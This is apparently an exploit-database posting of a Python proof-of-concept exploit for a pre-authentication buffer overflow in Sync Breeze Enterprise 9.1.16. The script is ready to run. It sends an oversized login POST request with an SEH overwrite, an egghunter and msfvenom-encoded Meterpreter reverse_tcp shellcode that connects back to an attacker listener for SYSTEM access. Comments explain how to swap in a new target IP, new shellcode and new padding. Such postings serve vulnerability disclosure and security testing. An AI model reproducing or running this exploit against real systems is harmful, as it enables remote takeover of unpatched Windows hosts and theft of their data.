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Sync Breeze Enterprise 9.1.16 Buffer Overflow

Sync Breeze Enterprise 9.1.16 Buffer Overflow
Posted Nov 28, 2016
Authored by Tulpa

Sync Breeze Enterprise version 9.1.16 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
MD5 | d41f9c50741d4e3cbaac5d784239a86b

Sync Breeze Enterprise 9.1.16 Buffer Overflow

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#!/usr/bin/python

print "Sync Breeze Enterprise 9.1.16 Login Buffer Overflow"
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"

#Author website: www.tulpa-security.com
#Author twitter: @tulpa_security

#Exploit will land you NT AUTHORITY\SYSTEM
#You do not need to be authenticated, password below is garbage
#Swop out IP, shellcode and remember to adjust '\x41' for bytes
#Tested on Windows 7 x86 Enterprise SP1

#Vendor has been notified on multiple occasions
#Exploit for version 8.9.24: www.exploit-db.com/exploits/40456/

#Shout-out to carbonated and ozzie_offsec

import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.123.130',80))


#bad chars \x00\x0a\x0d\x26


#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.123.134 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest

#payload size 308



buf = ""
buf += "\xdb\xdc\xb8\x95\x49\x89\x1d\xd9\x74\x24\xf4\x5f\x33"
buf += "\xc9\xb1\x47\x31\x47\x18\x83\xc7\x04\x03\x47\x81\xab"
buf += "\x7c\xe1\x41\xa9\x7f\x1a\x91\xce\xf6\xff\xa0\xce\x6d"
buf += "\x8b\x92\xfe\xe6\xd9\x1e\x74\xaa\xc9\x95\xf8\x63\xfd"
buf += "\x1e\xb6\x55\x30\x9f\xeb\xa6\x53\x23\xf6\xfa\xb3\x1a"
buf += "\x39\x0f\xb5\x5b\x24\xe2\xe7\x34\x22\x51\x18\x31\x7e"
buf += "\x6a\x93\x09\x6e\xea\x40\xd9\x91\xdb\xd6\x52\xc8\xfb"
buf += "\xd9\xb7\x60\xb2\xc1\xd4\x4d\x0c\x79\x2e\x39\x8f\xab"
buf += "\x7f\xc2\x3c\x92\xb0\x31\x3c\xd2\x76\xaa\x4b\x2a\x85"
buf += "\x57\x4c\xe9\xf4\x83\xd9\xea\x5e\x47\x79\xd7\x5f\x84"
buf += "\x1c\x9c\x53\x61\x6a\xfa\x77\x74\xbf\x70\x83\xfd\x3e"
buf += "\x57\x02\x45\x65\x73\x4f\x1d\x04\x22\x35\xf0\x39\x34"
buf += "\x96\xad\x9f\x3e\x3a\xb9\xad\x1c\x52\x0e\x9c\x9e\xa2"
buf += "\x18\x97\xed\x90\x87\x03\x7a\x98\x40\x8a\x7d\xdf\x7a"
buf += "\x6a\x11\x1e\x85\x8b\x3b\xe4\xd1\xdb\x53\xcd\x59\xb0"
buf += "\xa3\xf2\x8f\x2d\xa1\x64\xf0\x1a\xd2\xf2\x98\x58\x25"
buf += "\xeb\x04\xd4\xc3\x5b\xe5\xb6\x5b\x1b\x55\x77\x0c\xf3"
buf += "\xbf\x78\x73\xe3\xbf\x52\x1c\x89\x2f\x0b\x74\x25\xc9"
buf += "\x16\x0e\xd4\x16\x8d\x6a\xd6\x9d\x22\x8a\x98\x55\x4e"
buf += "\x98\x4c\x96\x05\xc2\xda\xa9\xb3\x69\xe2\x3f\x38\x38"
buf += "\xb5\xd7\x42\x1d\xf1\x77\xbc\x48\x8a\xbe\x28\x33\xe4"
buf += "\xbe\xbc\xb3\xf4\xe8\xd6\xb3\x9c\x4c\x83\xe7\xb9\x92"
buf += "\x1e\x94\x12\x07\xa1\xcd\xc7\x80\xc9\xf3\x3e\xe6\x55"
buf += "\x0b\x15\xf6\xaa\xda\x53\x8c\xc2\xde"


#pop pop ret 1001A1B8

nseh = "\x90\x90\xEB\x0B"
seh = "\xB8\xA1\x01\x10"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

evil = "POST /login HTTP/1.1\r\n"
evil += "Host: 192.168.123.132\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 17000\r\n\r\n"
evil += "username=admin"
evil += "&password=aaaaa\r\n"
evil += "\x41" * 13664 #subtract/add for payload
evil += "B" * 100
evil += "w00tw00t"
evil += buf
evil += "\x90" * 212
evil += nseh
evil += seh
evil += "\x90" * 10
evil += egghunter
evil += "\x90" * 8672


print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

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